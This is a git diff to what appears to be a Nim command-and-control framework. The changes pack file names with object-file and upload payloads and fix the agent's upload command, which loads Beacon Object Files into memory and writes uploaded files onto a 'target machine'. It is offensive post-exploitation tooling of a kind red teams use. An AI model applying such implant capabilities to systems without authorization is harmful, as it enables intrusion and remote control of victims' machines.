diff --git a/src/modules/bof.nim b/src/modules/bof.nim index 36820cb..14ad525 100644 --- a/src/modules/bof.nim +++ b/src/modules/bof.nim @@ -27,7 +27,7 @@ when defined(agent): import osproc, strutils, strformat import ../agent/core/coff import ../agent/protocol/result - import ../common/utils + import ../common/[utils, serialize] proc executeBof(ctx: AgentCtx, task: Task): TaskResult = try: @@ -46,8 +46,14 @@ when defined(agent): # Combine the passed arguments into a format that is understood by the Beacon API arguments = generateCoffArguments(task.args[1..^1]) - echo fmt" [>] Executing object file." - let output = inlineExecuteGetOutput(objectFile, arguments) + # Unpacking object file, since it contains the file name too. + var unpacker = Unpacker.init(Bytes.toString(objectFile)) + let + fileName = unpacker.getDataWithLengthPrefix() + objectFileContents = unpacker.getDataWithLengthPrefix() + + echo fmt" [>] Executing object file {fileName}." + let output = inlineExecuteGetOutput(string.toBytes(objectFileContents), arguments) if output != "": return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim index ae52ec0..19318c5 100644 --- a/src/modules/filetransfer.nim +++ b/src/modules/filetransfer.nim @@ -25,7 +25,7 @@ let commands*: seq[Command] = @[ arguments: @[ Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true), ], - execute: executeDownload + execute: executeUpload ) ] @@ -67,11 +67,21 @@ when defined(agent): proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = try: - var fileBytes: seq[byte] = task.args[0].data + var arg: string = Bytes.toString(task.args[0].data) - + echo arg + # Parse binary argument + var unpacker = Unpacker.init(arg) + let + fileName = unpacker.getDataWithLengthPrefix() + fileContents = unpacker.getDataWithLengthPrefix() + # Write the file to the current working directory + let destination = fmt"{paths.getCurrentDir()}\{fileName}" + writeFile(fmt"{destination}", fileContents) + + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}." & "\n")) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 2cd5109..f7c4136 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -132,4 +132,4 @@ proc handleResult*(resultData: seq[byte]) = cq.output() except CatchableError as err: - cq.error(err.msg) + cq.error(err.msg, "\n") diff --git a/src/server/protocol/parser.nim b/src/server/protocol/parser.nim index 9ca0981..03c6764 100644 --- a/src/server/protocol/parser.nim +++ b/src/server/protocol/parser.nim @@ -1,5 +1,6 @@ +import std/paths import strutils, sequtils, times -import ../../common/[types, sequence, crypto, utils] +import ../../common/[types, sequence, crypto, utils, serialize] proc parseInput*(input: string): seq[string] = var i = 0 @@ -70,7 +71,16 @@ proc parseArgument*(argument: Argument, value: string): TaskArg = arg.data = string.toBytes(value) of BINARY: - arg.data = string.toBytes(readFile(value)) + # A binary data argument consists of the file name (without the path) and the file content in bytes, both prefixed with their length as a uint32 + var packer = Packer.init() + + let fileName = cast[string](extractFilename(cast[Path](value))) + packer.addDataWithLengthPrefix(string.toBytes(fileName)) + + let fileContents = readFile(value) + packer.addDataWithLengthPrefix(string.toBytes(fileContents)) + + arg.data = packer.pack() return arg